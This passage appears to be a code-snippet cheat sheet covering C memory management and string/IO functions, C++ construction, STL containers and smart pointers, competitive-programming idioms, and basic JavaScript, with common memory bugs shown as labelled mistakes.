    FILE *file = fopen(filename, "r");
    if (file == NULL) {
        return -2;  // File open error
    }

    // Success
    return 0;
}

// Use header guards
// myheader.h
#ifndef MYHEADER_H
#define MYHEADER_H

// Declarations...

#endif

# Enable warnings
gcc -Wall -Wextra -Werror program.c -o program

# Debug symbols
gcc -g program.c -o program

# Optimization
gcc -O2 program.c -o program

# C standard
gcc -std=c11 program.c -o program

# Combine flags
gcc -Wall -Wextra -O2 -std=c11 program.c -o program

const int *ptr;
int a = 10;
int b = 20;
ptr = &a; // Valid
*ptr = 30; // Invalid, cannot change the value of 'a' through ptr
ptr = &b; // Valid, can change the pointer to point to 'b'

int *const ptr = &a;
int a = 10;
int b = 20;
ptr = &b; // Invalid, cannot change the pointer to point to 'b'
*ptr = 30; // Valid, can change the value of 'a' through ptr

const int *const ptr = &a;
int a = 10;
int b = 20;
ptr = &b; // Invalid, cannot change the pointer to point to 'b'
*ptr = 30; // Invalid, cannot change the value of 'a' through ptr

Stack (grows down)   |  Local variables, function parameters
                     |
                     V
=====================|======================  <- Stack limit
                     ^
                     |
                     |  Free memory
                     |
                     V
=====================|======================  <- Heap limit
Heap (grows up)      |  malloc, calloc, realloc allocations
                     ^

#include <stdlib.h>

// Allocate memory for single integer
int *ptr = (int *)malloc(sizeof(int));
if (ptr == NULL) {
    printf("Memory allocation failed\n");
    return 1;
}
*ptr = 42;
printf("Value: %d\n", *ptr);
free(ptr);
ptr = NULL;  // Good practice: set to NULL after free

// Allocate memory for array
int *arr = (int *)malloc(10 * sizeof(int));
if (arr == NULL) {
    printf("Memory allocation failed\n");
    return 1;
}
arr[0] = 100;
arr[9] = 999;
free(arr);
arr = NULL;

#include <stdlib.h>

// calloc(number_of_elements, size_of_each_element)
int *arr = (int *)calloc(10, sizeof(int));  // 10 integers, all initialized to 0
if (arr == NULL) {
    printf("Memory allocation failed\n");
    return 1;
}

for (int i = 0; i < 10; i++) {
    printf("%d ", arr[i]);  // Prints: 0 0 0 0 0 0 0 0 0 0
}

free(arr);
arr = NULL;

#include <stdlib.h>

int *arr = (int *)malloc(5 * sizeof(int));
for (int i = 0; i < 5; i++) arr[i] = i;

// Resize to 10 integers
int *new_arr = (int *)realloc(arr, 10 * sizeof(int));
if (new_arr == NULL) {
    printf("Reallocation failed\n");
    free(arr);  // Original block still exists
    return 1;
}

arr = new_arr;
for (int i = 5; i < 10; i++) arr[i] = i;

free(arr);
arr = NULL;

#include <stdlib.h>

int *ptr = (int *)malloc(sizeof(int));
*ptr = 42;

// When done, free the memory
free(ptr);

// IMPORTANT: Set to NULL to avoid dangling pointer
ptr = NULL;

#include <stdlib.h>
#include <stdio.h>

int main(void) {
    // 1. Declare pointer
    int *ptr;

    // 2. Allocate memory with error checking
    ptr = (int *)malloc(sizeof(int));
    if (ptr == NULL) {
        fprintf(stderr, "Memory allocation failed\n");
        return 1;
    }

    // 3. Use the memory
    *ptr = 100;
    printf("Value: %d\n", *ptr);

    // 4. Free the memory
    free(ptr);

    // 5. Set to NULL (avoid dangling pointer)
    ptr = NULL;

    return 0;
}

#include <stdlib.h>
#include <stdio.h>

typedef struct {
    int *data;
    int size;
    int capacity;
} DynamicArray;

// Create dynamic array
DynamicArray* array_create(int initial_capacity) {
    DynamicArray *arr = (DynamicArray *)malloc(sizeof(DynamicArray));
    if (arr == NULL) return NULL;

    arr->data = (int *)malloc(initial_capacity * sizeof(int));
    if (arr->data == NULL) {
        free(arr);
        return NULL;
    }

    arr->size = 0;
    arr->capacity = initial_capacity;
    return arr;
}

// Add element to array
int array_push(DynamicArray *arr, int value) {
    if (arr->size == arr->capacity) {
        // Resize: double the capacity
        int new_capacity = arr->capacity * 2;
        int *new_data = (int *)realloc(arr->data, new_capacity * sizeof(int));
        if (new_data == NULL) return -1;

        arr->data = new_data;
        arr->capacity = new_capacity;
    }

    arr->data[arr->size++] = value;
    return 0;
}

// Get element from array
int array_get(DynamicArray *arr, int index) {
    if (index < 0 || index >= arr->size) {
        fprintf(stderr, "Index out of bounds\n");
        return -1;
    }
    return arr->data[index];
}

// Free array
void array_free(DynamicArray *arr) {
    if (arr == NULL) return;
    free(arr->data);
    free(arr);
}

// Usage
int main(void) {
    DynamicArray *arr = array_create(10);
    if (arr == NULL) {
        fprintf(stderr, "Failed to create array\n");
        return 1;
    }

    for (int i = 0; i < 20; i++) {
        array_push(arr, i * 10);
    }

    for (int i = 0; i < arr->size; i++) {
        printf("%d ", array_get(arr, i));
    }

    array_free(arr);
    return 0;
}

void memory_leak(void) {
    int *ptr = (int *)malloc(sizeof(int));
    *ptr = 42;
    // Missing: free(ptr);
    // Memory is lost when function exits
}

int *ptr = (int *)malloc(sizeof(int));
free(ptr);
free(ptr);  // ERROR: Undefined behavior!

int *ptr = (int *)malloc(sizeof(int));
*ptr = 42;
free(ptr);
printf("%d\n", *ptr);  // ERROR: ptr points to freed memory!
ptr = NULL;  // Should do this after free

char *str = (char *)malloc(5);
strcpy(str, "Hello World");  // ERROR: Buffer overflow!
                             // "Hello World" needs 12 bytes, only allocated 5
free(str);

int *ptr = (int *)malloc(sizeof(int));
// Allocation failed
if (ptr == NULL) {
    *ptr = 42;  // ERROR: Dereferencing NULL!
}

// 1. Always check if malloc/calloc/realloc succeeded
int *ptr = (int *)malloc(sizeof(int));
if (ptr == NULL) {
    // Handle error
    return -1;
}

// 2. Use sizeof for type safety
int *arr = (int *)malloc(100 * sizeof(int));  // Good
int *arr = (int *)malloc(100 * 4);            // Avoid - hardcoded size

// 3. Free in reverse order of allocation
void *p1 = malloc(100);
void *p2 = malloc(200);
void *p3 = malloc(300);

free(p3);
free(p2);
free(p1);

// 4. Set pointer to NULL after free
free(ptr);
ptr = NULL;

// 5. Avoid memory leaks - create cleanup paths
FILE *file = fopen("data.txt", "r");
int *data = (int *)malloc(1000 * sizeof(int));

if (file == NULL) {
    free(data);  // Clean up before returning
    return -1;
}

// Process file
if (some_error) {
    fclose(file);
    free(data);  // Clean up before returning
    return -1;
}

fclose(file);
free(data);
return 0;

// 6. Use wrapper functions for consistency
void* safe_malloc(size_t size) {
    void *ptr = malloc(size);
    if (ptr == NULL) {
        fprintf(stderr, "malloc failed: requested %zu bytes\n", size);
        exit(1);  // Or handle error differently
    }
    return ptr;
}

int *arr = (int *)safe_malloc(100 * sizeof(int));

# Valgrind - memory error detector
valgrind --leak-check=full --show-leak-kinds=all ./program

# AddressSanitizer (GCC/Clang)
gcc -fsanitize=address -g program.c -o program
./program

# Dr. Memory (Windows)
drmemory -leaks_only -- program.exe

#include <string.h>
size_t length = strlen("example");

#include <string.h>
char dest[20];
strcpy(dest, "source");

#include <string.h>
char dest[20];
strncpy(dest, "source", 5);

#include <string.h>
char dest[20] = "Hello, ";
strcat(dest, "World!");

#include <string.h>
char dest[20] = "Hello, ";
strncat(dest, "World!", 3);

#include <string.h>
int result = strcmp("string1", "string2");

#include <string.h>
int result = strncmp("string1", "string2", 5);

#include <string.h>
char *ptr = strchr("example", 'a');

#include <string.h>
char *ptr = strrchr("example", 'e');

#include <string.h>
char *ptr = strstr("example", "amp");

#include <stdio.h>
printf("Hello, %s!\n", "World");

#include <stdio.h>
FILE *file = fopen("output.txt", "w");
fprintf(file, "Hello, %s!\n", "World");
fclose(file);

#include <stdio.h>
char buffer[50];
sprintf(buffer, "Hello, %s!", "World");

#include <stdio.h>
char buffer[50];
snprintf(buffer, sizeof(buffer), "Hello, %s!", "World");

#include <stdio.h>
#include <stdarg.h>
void my_vprintf(const char *format, ...) {
    va_list args;
    va_start(args, format);
    vprintf(format, args);
    va_end(args);
}

#include <stdio.h>
#include <stdarg.h>
void my_vfprintf(FILE *file, const char *format, ...) {
    va_list args;
    va_start(args, format);
    vfprintf(file, format, args);
    va_end(args);
}

#include <stdio.h>
#include <stdarg.h>
void my_vsprintf(char *buffer, const char *format, ...) {
    va_list args;
    va_start(args, format);
    vsprintf(buffer, format, args);
    va_end(args);
}

#include <stdio.h>
#include <stdarg.h>
void my_vsnprintf(char *buffer, size_t size, const char *format, ...) {
    va_list args;
    va_start(args, format);
    vsnprintf(buffer, size, format, args);
    va_end(args);
}

#include <stdio.h>
int value;
scanf("%d", &value);

#include <stdio.h>
FILE *file = fopen("input.txt", "r");
int value;
fscanf(file, "%d", &value);
fclose(file);

#include <stdio.h>
const char *str = "123";
int value;
sscanf(str, "%d", &value);

#include <stdio.h>
#include <stdarg.h>
void my_vscanf(const char *format, ...) {
    va_list args;
    va_start(args, format);
    vscanf(format, args);
    va_end(args);
}

#include <stdio.h>
#include <stdarg.h>
void my_vfscanf(FILE *file, const char *format, ...) {
    va_list args;
    va_start(args, format);
    vfscanf(file, format, args);
    va_end(args);
}

#include <stdio.h>
#include <stdarg.h>
void my_vsscanf(const char *str, const char *format, ...) {
    va_list args;
    va_start(args, format);
    vsscanf(str, format, args);
    va_end(args);
}

class MyClass {
public:
    int value;
    MyClass(int v) : value(v) {
        std::cout << "Constructor called: " << value << std::endl;
    }
    ~MyClass() {
        std::cout << "Destructor called: " << value << std::endl;
    }
};

void example() {
    MyClass obj1(10);           // Stack allocation
    MyClass obj2 = MyClass(20); // Also stack allocation
    MyClass obj3{30};           // C++11 uniform initialization

    // All objects destroyed automatically when function exits
}

// Single object
MyClass* ptr1 = new MyClass(100);  // Allocate on heap
// Use ptr1...
delete ptr1;  // Must manually delete
ptr1 = nullptr;  // Good practice

// Array of objects
MyClass* arr = new MyClass[5];  // Default constructor for each
// Use arr...
delete[] arr;  // Must use delete[] for arrays
arr = nullptr;

// With initialization (C++11)
MyClass* ptr2 = new MyClass{200};
delete ptr2;

#include <memory>

// std::unique_ptr - exclusive ownership
{
    std::unique_ptr<MyClass> ptr1 = std::make_unique<MyClass>(10);
    // Automatically deleted when ptr1 goes out of scope
    // Cannot be copied, only moved

    auto ptr2 = std::make_unique<MyClass>(20);  // Using auto
    std::unique_ptr<MyClass> ptr3 = std::move(ptr2);  // Transfer ownership
    // ptr2 is now nullptr
}

// std::shared_ptr - shared ownership
{
    std::shared_ptr<MyClass> ptr1 = std::make_shared<MyClass>(30);
    {
        std::shared_ptr<MyClass> ptr2 = ptr1;  // Both own the object
        std::cout << "Reference count: " << ptr1.use_count() << std::endl;  // 2
    }  // ptr2 destroyed, object still exists
    std::cout << "Reference count: " << ptr1.use_count() << std::endl;  // 1
}  // Object deleted when last shared_ptr is destroyed

// Array with smart pointers (C++17)
auto arr = std::make_unique<MyClass[]>(5);

class Point {
public:
    int x, y;
    Point() : x(0), y(0) {}
    Point(int x, int y) : x(x), y(y) {}
};

// Default initialization
Point p1;  // Calls default constructor: Point()

// Direct initialization
Point p2(10, 20);  // Calls Point(int, int)

// Copy initialization
Point p3 = Point(30, 40);  // May involve copy/move

// List initialization (Uniform initialization - C++11)
Point p4{50, 60};        // Direct list initialization
Point p5 = {70, 80};     // Copy list initialization
auto p6 = Point{90, 100}; // With auto

// Value initialization
Point p7{};     // Zero-initializes: x=0, y=0
Point* p8 = new Point();   // Value initialization on heap

// Aggregate initialization (for POD types)
struct Data {
    int a;
    double b;
    char c;
};

Data d1 = {1, 2.5, 'x'};   // C-style
Data d2{1, 2.5, 'x'};      // C++11 style
Data d3{.a=1, .b=2.5};     // C++20 designated initializers

class Resource {
private:
    int* data;
    size_t size;

public:
    // Default constructor
    Resource() : data(nullptr), size(0) {
        std::cout << "Default constructor" << std::endl;
    }

    // Parameterized constructor
    Resource(size_t sz) : data(new int[sz]), size(sz) {
        std::cout << "Parameterized constructor" << std::endl;
    }

    // Copy constructor
    Resource(const Resource& other) : size(other.size) {
        data = new int[size];
        std::copy(other.data, other.data + size, data);
        std::cout << "Copy constructor" << std::endl;
    }

    // Move constructor (C++11)
    Resource(Resource&& other) noexcept : data(other.data), size(other.size) {
        other.data = nullptr;
        other.size = 0;
        std::cout << "Move constructor" << std::endl;
    }

    // Destructor
    ~Resource() {
        delete[] data;
        std::cout << "Destructor" << std::endl;
    }
};

// Usage examples
Resource r1;                      // Default constructor
Resource r2(100);                 // Parameterized constructor
Resource r3 = r2;                 // Copy constructor
Resource r4 = std::move(r2);      // Move constructor
Resource r5(std::move(r3));       // Move constructor (explicit)

class Shape {
public:
    virtual void draw() = 0;
    virtual ~Shape() = default;
};

class Circle : public Shape {
    double radius;
public:
    Circle(double r) : radius(r) {}
    void draw() override { std::cout << "Drawing circle" << std::endl; }
};

class Rectangle : public Shape {
    double width, height;
public:
    Rectangle(double w, double h) : width(w), height(h) {}
    void draw() override { std::cout << "Drawing rectangle" << std::endl; }
};

// Factory function
std::unique_ptr<Shape> createShape(const std::string& type) {
    if (type == "circle") {
        return std::make_unique<Circle>(5.0);
    } else if (type == "rectangle") {
        return std::make_unique<Rectangle>(4.0, 6.0);
    }
    return nullptr;
}

// Usage
auto shape = createShape("circle");
if (shape) {
    shape->draw();
}

#include <new>

// Pre-allocated buffer
alignas(MyClass) char buffer[sizeof(MyClass)];

// Construct object in buffer
MyClass* obj = new (buffer) MyClass(42);

// Use object
obj->value = 100;

// Must manually call destructor
obj->~MyClass();

// Common use case: memory pools
class MemoryPool {
    char buffer[1024];
public:
    template<typename T, typename... Args>
    T* construct(Args&&... args) {
        void* ptr = /* allocate from buffer */;
        return new (ptr) T(std::forward<Args>(args)...);
    }
};

// Stack arrays
MyClass arr1[3];                    // Default constructor for each
MyClass arr2[3] = {MyClass(1), MyClass(2), MyClass(3)};  // Specific initialization
MyClass arr3[] = {MyClass(10), MyClass(20)};  // Size inferred

// Uniform initialization (C++11)
MyClass arr4[3] = {{1}, {2}, {3}};
MyClass arr5[3]{{1}, {2}, {3}};

// Heap arrays
MyClass* heap_arr1 = new MyClass[5];      // Default constructor
delete[] heap_arr1;

// std::array (C++11)
#include <array>
std::array<MyClass, 3> arr6 = {MyClass(1), MyClass(2), MyClass(3)};
std::array<MyClass, 3> arr7{MyClass(1), MyClass(2), MyClass(3)};

// std::vector (dynamic array)
#include <vector>
std::vector<MyClass> vec1;                // Empty vector
std::vector<MyClass> vec2(5);             // 5 default-constructed objects
std::vector<MyClass> vec3(5, MyClass(42)); // 5 copies of MyClass(42)
std::vector<MyClass> vec4{MyClass(1), MyClass(2), MyClass(3)};  // Initializer list

#include <vector>
#include <map>

std::vector<MyClass> vec;

// push_back creates temporary and moves/copies it
vec.push_back(MyClass(10));

// emplace_back constructs directly in the vector (more efficient)
vec.emplace_back(20);  // Constructs MyClass(20) in-place

// Similarly for maps
std::map<int, MyClass> myMap;
myMap.emplace(1, MyClass(100));        // Creates pair in-place
myMap.try_emplace(2, 200);             // Even better, doesn't construct if key exists

// emplace with multiple arguments
struct Person {
    std::string name;
    int age;
    Person(std::string n, int a) : name(n), age(a) {}
};

std::vector<Person> people;
people.emplace_back("Alice", 30);  // Constructs Person directly in vector

class FileHandler {
    FILE* file;
public:
    // Resource acquired in constructor
    FileHandler(const char* filename, const char* mode) {
        file = fopen(filename, mode);
        if (!file) throw std::runtime_error("Failed to open file");
    }

    // Resource released in destructor
    ~FileHandler() {
        if (file) {
            fclose(file);
        }
    }

    // Prevent copying
    FileHandler(const FileHandler&) = delete;
    FileHandler& operator=(const FileHandler&) = delete;

    // Allow moving
    FileHandler(FileHandler&& other) noexcept : file(other.file) {
        other.file = nullptr;
    }

    FILE* get() { return file; }
};

// Usage - no need to manually close file
void processFile() {
    FileHandler handler("data.txt", "r");
    // Use handler.get()...
    // File automatically closed when handler goes out of scope
}

MyClass createObject() {
    MyClass obj(100);
    return obj;  // RVO: object constructed directly in caller's space
}

MyClass obj1 = createObject();  // No copy/move, direct construction (C++17 guaranteed)

// Named Return Value Optimization (NRVO)
MyClass createNamed(int value) {
    MyClass result(value);
    // ... operations on result
    return result;  // May be optimized (not guaranteed)
}

// Good practices example
void goodPractices() {
    // Stack allocation when lifetime is scoped
    MyClass local(42);

    // Smart pointers for heap allocation
    auto ptr = std::make_unique<MyClass>(100);

    // Uniform initialization
    MyClass obj{50};

    // Containers for collections
    std::vector<MyClass> vec;
    vec.emplace_back(10);
    vec.emplace_back(20);

    // RAII for resources
    std::ifstream file("data.txt");
    // File automatically closed
}

#include <string>

// Default constructor
std::string str1;

// Constructor with a C-string
std::string str2("Hello, World!");

// Constructor with a specific number of repeated characters
std::string str3(5, 'a'); // "aaaaa"

// Copy constructor
std::string str4(str2);

// Substring constructor
std::string str5(str2, 7, 5); // "World"

std::string str = "Example";
size_t len = str.size(); // 7
size_t cap = str.capacity(); // Implementation-defined

std::string str = "Hello";
char ch = str[1]; // 'e'
char ch_at = str.at(2); // 'l'
char first = str.front(); // 'H'
char last = str.back(); // 'o'

std::string str = "Hello";
str.append(", World!"); // "Hello, World!"
str.insert(5, " C++"); // "Hello C++, World!"
str.erase(5, 6); // "HelloWorld!"
str.replace(5, 5, " C++"); // "Hello C++!"
str.clear(); // ""

std::string str = "Hello, World!";
std::string sub = str.substr(7, 5); // "World"

std::string str = "Hello, World!";
size_t pos = str.find("World"); // 7
size_t rpos = str.rfind('o'); // 8

std::string str1 = "apple";
std::string str2 = "banana";

int result = str1.compare(str2);
// result < 0 since "apple" < "banana"

std::string str = "Hello";
const char* cstr = str.c_str();

std::string str = "Hello";
for (std::string::iterator it = str.begin(); it != str.end(); ++it) {
    std::cout << *it << ' ';
}
// Output: H e l l o 

std::string str = "Hello";
str.emplace(str.size(), '!'); // "Hello!"
str.emplace_back('?'); // "Hello!?"

std::string str1 = "Hello";
std::string str2 = "World";
str1.swap(str2);
// str1 is now "World", str2 is now "Hello"

#include <algorithm>

std::string str = "Hello";
std::transform(str.begin(), str.end(), str.begin(), ::toupper); // "HELLO"

std::string str = "Hello";
bool isEmpty = str.empty(); // false
size_t pos = str.find_first_of('e'); // 1
size_t not_pos = str.find_first_not_of('H'); // 1

#include <iostream>
#include <string>

int main() {
    std::string greeting = "Hello";
    greeting += ", World!"; // Using operator +=

    std::cout << greeting << std::endl; // Output: Hello, World!

    // Find and replace
    size_t pos = greeting.find("World");
    if (pos != std::string::npos) {
        greeting.replace(pos, 5, "C++");
    }

    std::cout << greeting << std::endl; // Output: Hello, C++!

    return 0;
}

#include <vector>

// Default constructor
std::vector<int> vec1;

// Constructor with a specific size
std::vector<int> vec2(5); // {0, 0, 0, 0, 0}

// Constructor with a specific size and initial value
std::vector<int> vec3(5, 10); // {10, 10, 10, 10, 10}

// Initializer list constructor
std::vector<int> vec4 = {1, 2, 3, 4, 5};

// Copy constructor
std::vector<int> vec5(vec4);

std::vector<int> vec = {1, 2, 3};
size_t sz = vec.size(); // 3
size_t cap = vec.capacity(); // >= 3
bool isEmpty = vec.empty(); // false

std::vector<int> vec = {10, 20, 30, 40, 50};
int first = vec[0]; // 10
int third = vec.at(2); // 30
int front = vec.front(); // 10
int back = vec.back(); // 50
int* ptr = vec.data(); // Pointer to the first element

std::vector<int> vec = {1, 2, 3};

// push_back
vec.push_back(4); // {1, 2, 3, 4}

// pop_back
vec.pop_back(); // {1, 2, 3}

// insert
vec.insert(vec.begin() + 1, 10); // {1, 10, 2, 3}

// erase single element
vec.erase(vec.begin() + 2); // {1, 10, 3}

// erase range
vec.erase(vec.begin(), vec.begin() + 1); // {10, 3}

// clear
vec.clear(); // {}

// resize
vec.resize(5, 100); // {100, 100, 100, 100, 100}

// shrink_to_fit
vec.shrink_to_fit();

std::vector<int> vec = {1, 2, 3, 4, 5};

// Forward iteration
for(auto it = vec.begin(); it != vec.end(); ++it) {
    std::cout << *it << " ";
}

// Reverse iteration
for(auto it = vec.rbegin(); it != vec.rend(); ++it) {
    std::cout << *it << " ";
}

#include <algorithm>

std::vector<int> vec = {5, 3, 1, 4, 2};

// Sort the vector
std::sort(vec.begin(), vec.end()); // {1, 2, 3, 4, 5}

// Reverse the vector
std::reverse(vec.begin(), vec.end()); // {5, 4, 3, 2, 1}

// Find an element
auto it = std::find(vec.begin(), vec.end(), 3);
if(it != vec.end()) {
    std::cout << "Found: " << *it << std::endl;
}

std::vector<int> vec;
vec.reserve(100); // Reserve space for 100 elements
std::cout << "Capacity: " << vec.capacity() << std::endl;

#include <map>
#include <string>

// Default constructor
std::map<int, std::string> map1;

// Initializer list constructor
std::map<int, std::string> map2 = {
    {1, "one"},
    {2, "two"},
    {3, "three"}
};

// Range constructor
std::vector<std::pair<int, std::string>> vec = { {4, "four"}, {5, "five"} };
std::map<int, std::string> map3(vec.begin(), vec.end());

// Copy constructor
std::map<int, std::string> map4(map2);

std::map<int, std::string> map = { {1, "one"}, {2, "two"}, {3, "three"} };
size_t sz = map.size(); // 3
bool isEmpty = map.empty(); // false

// Using operator[]
map[4] = "four"; // Inserts if key 4 does not exist

// Using at()
try {
    std::string value = map.at(2); // "two"
} catch(const std::out_of_range& e) {
    // Handle error
}

// Using find()
auto it = map.find(3);
if(it != map.end()) {
    std::cout << "Found: " << it->second << std::endl; // "three"
}

// Using count()
if(map.count(5)) {
    std::cout << "Key 5 exists." << std::endl;
} else {
    std::cout << "Key 5 does not exist." << std::endl;
}

// Using insert()
map.insert({1, "one"});
map.insert(std::pair<int, std::string>(2, "two"));

// Using emplace()
map.emplace(3, "three");

std::map<int, std::string> map = { {1, "one"}, {2, "two"}, {3, "three"} };

// Erase by key
map.erase(2);

// Erase by iterator
auto itErase = map.find(3);
if(itErase != map.end()) {
    map.erase(itErase);
}

// Clear all elements
map.clear();

std::map<int, std::string> map = { {1, "one"}, {2, "two"}, {3, "three"} };

// Using iterator
for(auto it = map.begin(); it != map.end(); ++it) {
    std::cout << it->first << ": " << it->second << std::endl;
}

// Using range-based for loop
for(const auto& pair : map) {
    std::cout << pair.first << ": " << pair.second << std::endl;
}

#include <memory>
#include <iostream>

int main() {
    // Creating a unique_ptr to an integer
    std::unique_ptr<int> ptr1(new int(10));
    std::cout << "Value: " << *ptr1 << std::endl; // Output: Value: 10

    // Transferring ownership using std::move
    std::unique_ptr<int> ptr2 = std::move(ptr1);
    if (!ptr1) {
        std::cout << "ptr1 is now null." << std::endl;
    }
    std::cout << "Value: " << *ptr2 << std::endl; // Output: Value: 10

    // Automatic deletion when ptr2 goes out of scope
    return 0;
}

#include <memory>
#include <iostream>

int main() {
    // Creating a shared_ptr to an integer
    std::shared_ptr<int> ptr1 = std::make_shared<int>(20);
    std::cout << "Value: " << *ptr1 << ", Count: " << ptr1.use_count() << std::endl; // Output: Value: 20, Count: 1

    // Creating another shared_ptr sharing the same object
    std::shared_ptr<int> ptr2 = ptr1;
    std::cout << "Value: " << *ptr2 << ", Count: " << ptr1.use_count() << std::endl; // Output: Value: 20, Count: 2

    // Resetting ptr1
    ptr1.reset();
    std::cout << "ptr1 reset. Count: " << ptr2.use_count() << std::endl; // Output: Count: 1

    // Automatic deletion when ptr2 goes out of scope
    return 0;
}

#include <memory>
#include <iostream>

struct Node {
    int value;
    std::shared_ptr<Node> next;
    std::weak_ptr<Node> prev; // Using weak_ptr to prevent circular reference

    Node(int val) : value(val), next(nullptr), prev() {}
};

int main() {
    auto node1 = std::make_shared<Node>(1);
    auto node2 = std::make_shared<Node>(2);

    node1->next = node2;
    node2->prev = node1; // weak_ptr does not increase reference count

    std::cout << "Node1 value: " << node1->value << std::endl;
    std::cout << "Node2 value: " << node2->value << std::endl;

    // Accessing the previous node
    if(auto prev = node2->prev.lock()) {
        std::cout << "Node2's previous node value: " << prev->value << std::endl;
    } else {
        std::cout << "Previous node no longer exists." << std::endl;
    }

    return 0;
}

std::unique_ptr<int> ptr = std::make_unique<int>(100);
int* rawPtr = ptr.get();
std::cout << "Raw pointer value: " << *rawPtr << std::endl; // Output: 100

std::shared_ptr<int> ptr = std::make_shared<int>(200);
ptr.reset(new int(300)); // Old object is deleted, ptr now owns the new object
std::cout << "New value: " << *ptr << std::endl; // Output: 300

std::unique_ptr<int> ptr1 = std::make_unique<int>(400);
std::unique_ptr<int> ptr2 = std::make_unique<int>(500);
ptr1.swap(ptr2);
std::cout << "ptr1: " << *ptr1 << ", ptr2: " << *ptr2 << std::endl; // Output: ptr1: 500, ptr2: 400

std::shared_ptr<std::string> ptr = std::make_shared<std::string>("Hello");
std::cout << "String: " << *ptr << std::endl; // Output: Hello
std::cout << "String length: " << ptr->length() << std::endl; // Output: 5

auto ptr = std::make_unique<MyClass>();
auto sharedPtr = std::make_shared<MyClass>();

std::unique_ptr<Resource> resource = std::make_unique<Resource>();

std::shared_ptr<Logger> logger1 = std::make_shared<Logger>();
std::shared_ptr<Logger> logger2 = logger1;

struct A {
    std::shared_ptr<B> b_ptr;
};

struct B {
    std::weak_ptr<A> a_ptr; // weak_ptr breaks the circular reference
};

#include <functional>
#include <iostream>

// A free function
int add(int a, int b) {
    return a + b;
}

int main() {
    // Storing a free function in std::function
    std::function<int(int, int)> func = add;
    std::cout << "add(2, 3) = " << func(2, 3) << std::endl; // Output: 5

    // Storing a lambda expression
    std::function<int(int, int)> lambdaFunc = [](int a, int b) -> int {
        return a * b;
    };
    std::cout << "lambdaFunc(2, 3) = " << lambdaFunc(2, 3) << std::endl; // Output: 6

    // Storing a member function (requires binding)
    struct Calculator {
        int subtract(int a, int b) const {
            return a - b;
        }
    };

    Calculator calc;
    std::function<int(int, int)> memberFunc = std::bind(&Calculator::subtract, &calc, std::placeholders::_1, std::placeholders::_2);
    std::cout << "calc.subtract(5, 3) = " << memberFunc(5, 3) << std::endl; // Output: 2

    return 0;
}

#include <functional>
#include <iostream>

// A free function
int multiply(int a, int b) {
    return a * b;
}

struct Calculator {
    int divide(int a, int b) const {
        if(b == 0) throw std::invalid_argument("Division by zero");
        return a / b;
    }
};

int main() {
    // Binding the first argument of multiply to 5
    auto timesFive = std::bind(multiply, 5, std::placeholders::_1);
    std::cout << "multiply(5, 4) = " << timesFive(4) << std::endl; // Output: 20

    // Binding a member function with the object instance
    Calculator calc;
    auto divideBy = std::bind(&Calculator::divide, &calc, std::placeholders::_1, 2);
    std::cout << "calc.divide(10, 2) = " << divideBy(10) << std::endl; // Output: 5

    return 0;
}

#include <functional>
#include <iostream>
#include <vector>

class Logger {
public:
    void log(const std::string& message, int level) const {
        std::cout << "Level " << level << ": " << message << std::endl;
    }
};

int main() {
    Logger logger;

    // Binding the logger object and log level to create a simplified log function
    auto infoLog = std::bind(&Logger::log, &logger, std::placeholders::_1, 1);
    auto errorLog = std::bind(&Logger::log, &logger, std::placeholders::_1, 3);

    infoLog("This is an informational message."); // Output: Level 1: This is an informational message.
    errorLog("This is an error message."); // Output: Level 3: This is an error message.

    // Storing bind expressions in a std::vector of std::function
    std::vector<std::function<void(const std::string&)>> logs;
    logs.push_back(infoLog);
    logs.push_back(errorLog);

    for(auto& logFunc : logs) {
        logFunc("Logging through stored function.");
    }
    // Output:
    // Level 1: Logging through stored function.
    // Level 3: Logging through stored function.

    return 0;
}

// Using std::bind
auto timesFive = std::bind(multiply, 5, std::placeholders::_1);

// Equivalent using a lambda
auto timesFiveLambda = [](int a) -> int {
    return multiply(5, a);
};

std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);

std::vector<int> vec = {1, 2, 3};
vec.push_back(4);

std::pair<int, int> p = {1, 2};
std::tuple<int, int, int> t = {1, 2, 3};

int n; // Number of nodes
std::vector<std::vector<int>> adj(n + 1);
adj[u].push_back(v);
adj[v].push_back(u); // For undirected graphs

// Example of Fibonacci using memoization
long long fib(int n, std::vector<long long> &dp) {
    if(n <= 1) return n;
    if(dp[n] != -1) return dp[n];
    return dp[n] = fib(n-1, dp) + fib(n-2, dp);
}

std::vector<bool> is_prime(n+1, true);
is_prime[0] = is_prime[1] = false;
for(int i=2; i*i <= n; ++i){
    if(is_prime[i]){
        for(int j=i*i; j<=n; j+=i){
            is_prime[j] = false;
        }
    }
}

long long power(long long a, long long b, long long mod){
    long long res = 1;
    a %= mod;
    while(b > 0){
        if(b & 1) res = res * a % mod;
        a = a * a % mod;
        b >>= 1;
    }
    return res;
}

struct DSU {
    std::vector<int> parent;
    DSU(int n) : parent(n+1) { for(int i=0;i<=n;i++) parent[i] = i; }
    int find_set(int x) { return parent[x] == x ? x : parent[x] = find_set(parent[x]); }
    void union_set(int x, int y) { parent[find_set(x)] = find_set(y); }
};

// var (function-scoped, avoid in modern code)
var x = 10;

// let (block-scoped, can be reassigned)
let y = 20;
y = 30;  // OK

// const (block-scoped, cannot be reassigned)
const z = 40;
// z = 50;  // ERROR!

// But const objects can be modified
const obj = { name: "Alice" };
obj.name = "Bob";  // OK
obj.age = 30;      // OK

// Primitives
let num = 42;                    // Number
let str = "Hello";               // String
let bool = true;                 // Boolean
let undef = undefined;           // Undefined
let nul = null;                  // Null
let sym = Symbol("id");          // Symbol (ES6)
let bigInt = 123n;               // BigInt (ES2020)

// Objects
let obj = { name: "Alice" };
let arr = [1, 2, 3];
let func = function() {};

// Type checking
typeof num;      // "number"
typeof str;      // "string"
typeof obj;      // "object"
typeof arr;      // "object" (arrays are objects)
Array.isArray(arr);  // true

// Type conversion
String(42);      // "42"
Number("42");    // 42
parseInt("42");  // 42
parseFloat("3.14");  // 3.14
Boolean(0);      // false
Boolean(1);      // true

const name = "Alice";
const age = 30;

// Template literals
const message = `Hello, ${name}! You are ${age} years old.`;

// Multi-line strings
const multiline = `
  This is a
  multi-line
  string
`;

// Tagged templates
function highlight(strings, ...values) {
  return strings.reduce((acc, str, i) => {
    return acc + str + (values[i] ? `<strong>${values[i]}</strong>` : '');
  }, '');
}

const result = highlight`Name: ${name}, Age: ${age}`;

// Creating arrays
const arr = [1, 2, 3, 4, 5];
const mixed = [1, "hello", true, null, { name: "Alice" }];
const empty = [];

// Accessing elements
const first = arr[0];        // 1
const last = arr[arr.length - 1];  // 5

// Common methods
arr.push(6);                 // Add to end: [1, 2, 3, 4, 5, 6]
arr.pop();                   // Remove from end: 6
arr.unshift(0);              // Add to start: [0, 1, 2, 3, 4, 5]
